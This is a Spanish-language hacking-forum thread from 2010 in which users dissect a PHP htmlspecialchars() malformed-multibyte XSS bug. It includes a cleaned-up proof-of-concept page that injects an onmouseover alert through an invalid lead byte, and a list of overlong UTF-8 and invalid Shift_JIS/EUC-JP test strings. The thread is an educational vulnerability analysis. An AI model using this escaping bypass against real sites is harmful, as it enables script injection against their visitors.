elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS  (Leído 6,557 veces)
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« en: 16 Enero 2010, 03:25 am »

A ver que alguien me explique xD que para el nivel web estoy bien n00b xD

Esto salio apenas hoy

http://www.securityfocus.com/bid/37389

Teóricamente tengo un PHP vulnerable a este ultimo y a muchos mas bugs xD

 
Código
  1. # php -v
  2. PHP 5.2.8 with Suhosin-Patch 0.9.6.3 (cli) (built: Dec 22 2008 20:08:26)
  3. Copyright (c) 1997-2008 The PHP Group
  4. Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
  5.  

Pero he tratado de reproducir el error y no doy con nada, he seguido con los siguientes enlances

http://www.securityfocus.com/bid/37389/exploit
http://bugs.php.net/bug.php?id=49785

y la salida que obtengo es:



En realidad me falta mucho sobre el nivel web.

Saludos
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #1 en: 16 Enero 2010, 20:02 pm »

Citar
A ver que alguien me explique xD que para el nivel web estoy bien n00b xD
Si todos nacieran sabiendo las cosas no existirían las escuelas o universidades.

El problema es que securityfocus es demasiado automatizado por lo tanto cuando alguien ingresa un código los escapan con caracteres especiales para que se puedan ver pero no se dan cuenta si alguien mas escapó los carácteres o no, en fin...

http://downloads.securityfocus.com/vulnerabilities/exploits/37389-2.php

Acá aparece una chorrera de código ilegible asi que lo primero que se ve es que son carácteres escapados como para visualizar en una página asi que seleccionamos todo y lo metemos en un solo archivo x.html y nos queda esto:

Código
  1. <? php $ _GET [ ' a1 ' ] = " \xf0 "; // \xf0 - \xfc ã§å¯èƒ½ $ _GET [ 'A1'] =
  2. "\ xf0"; / / \ xf0 - \ xfc possible $ _GET [ ' a2 ' ] = " href=dummy onmouseover=
  3. alert(document.title) dummy=dummy "; $ _GET [ 'A2'] = "href = dummy onmouseover
  4. = alert (document.title) dummy = dummy"; header ( " Content-Type:text/html; charset
  5. =Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS"); ?> ? " < html >
  6. <Html> < head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test
  7. </ title> </ head> < body > <Body> < p >< a <P> <a title = " <?php echo
  8. htmlspecialchars ( $ _GET [ ' a1 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " title = "<? php echo
  9. htmlspecialchars ($ _GET [ 'a1'], ENT_QUOTES, 'SJIS')?>" href = " <?php echo htmlspecialchars
  10. ( $ _GET [ ' a2 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " > test </ a ></ p > href = "<? php echo
  11. htmlspecialchars ($ _GET [ 'a2'], ENT_QUOTES, 'SJIS')?>"> test </ a> </ p> </ body >
  12. </ Body> </ html > </ Html>

Ahora, aun así es un desmadre porque hay espacios en blanco, no hay saltos de linea, no sabes donde termina un comentario, securityfocus repite los tags asi que bueno... lo limpié bastante y al final quedó así:

Código
  1. <?php
  2. $_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
  3. $_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
  4. header("Content-Type:text/html; charset=Shift_JIS");
  5. ?>
  6. <html>
  7. <head>
  8. <title>Shift_JIS test</title>
  9. </head>
  10. <body>
  11. <p>
  12.  <a
  13.   title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES, 'SJIS') ?>"
  14.   href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES, 'SJIS') ?>">
  15.  test
  16. </ a >
  17. </p>
  18. </body>
  19. </html>

Ahora, en mi localhost al reproducir ese código y al pasar el mouse sobre el enlace aparece un alert mostrando el título, eso es código de ejecución por el lado del cliente porque se puede bypasear el htmlspecialchars, pero ¿SJIS?.

Todo indica que la vulnerabilidad está en el tipo de codificación SJIS ya que también se declara en el header, pero hagamos esto:

Código
  1. <?php
  2. $_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
  3. $_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
  4. ?>
  5. <html>
  6. <head>
  7. <title>Shift_JIS test</title>
  8. </head>
  9. <body>
  10. <p>
  11.  <a
  12.   title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES) ?>"
  13.   href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES) ?>">
  14.  test
  15. </ a >
  16. </p>
  17. </body>
  18. </html>

También se ejecuta sin la necesidad de ese tipo de codificación en especial imprimiendo "ð" al inicio de la variable, eso hace que se invalide el siguiente string que le si8gue, en este caso las comillas dobles que encerraban a title y ahora href=" pasa a cerrar title formando parte de el dejando paso a la ejecución que le des en href con la variable a2.
« Última modificación: 16 Enero 2010, 20:07 pm por WHK » En línea

~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #2 en: 16 Enero 2010, 23:35 pm »

Demostración.

http://www.youtube.com/watch?v=EjiCSWKlsWI
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #3 en: 17 Enero 2010, 02:22 am »

A va, mas o menos veo por donde va la cosas :D

Saludos
En línea

~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #4 en: 17 Enero 2010, 03:13 am »

no me habia fijado pero el Shift_JIS es japones.
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #5 en: 17 Enero 2010, 03:14 am »

Hahaha, de hecho lo descubrió un japones o algo asi, pero uno de los PoC tenia para UTF-8

Saludos
En línea

~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #6 en: 17 Enero 2010, 03:15 am »

Me refiero que el juego de caracter Shift_JIS es japones.
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #7 en: 17 Enero 2010, 03:22 am »

Si me refiero a eso, el bug fue asignado a un tal moriyoshi quien reprodujo la falla con ese sistema de caracteres y tambien con UTF-8
UTF-8
Shift_JIS
EUC-JP
Código:
http://bugs.php.net/bug.php?id=49785

Código
  1. // overlong UTF-8 sequence
  2. echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, 'UTF-8');
  3. // invalid Shift_JIS sequence
  4. echo htmlspecialchars("B\x80&", ENT_QUOTES, 'Shift_JIS');
  5. echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, 'Shift_JIS');
  6. // invalid EUC-JP sequence
  7. echo htmlspecialchars("D\x80&", ENT_QUOTES, 'EUC-JP');
  8. echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
  9. echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, 'EUC-JP');
  10. echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');

El code anterior fue el que yo probe, pero no sabia ni que onda, voy aprobar el otro y pues a realizar notes.

Saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Extension spoofing C++, problema multibyte
Programación C/C++
Kaxperday 2 1,798 Último mensaje 20 Diciembre 2015, 12:23 pm
por Kaxperday
AYUDA Error: [Warning] multi-character character constant [-Wmultichar]
Programación C/C++
M-Stewart612 3 3,811 Último mensaje 5 Octubre 2018, 07:20 am
por Beginner Web
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines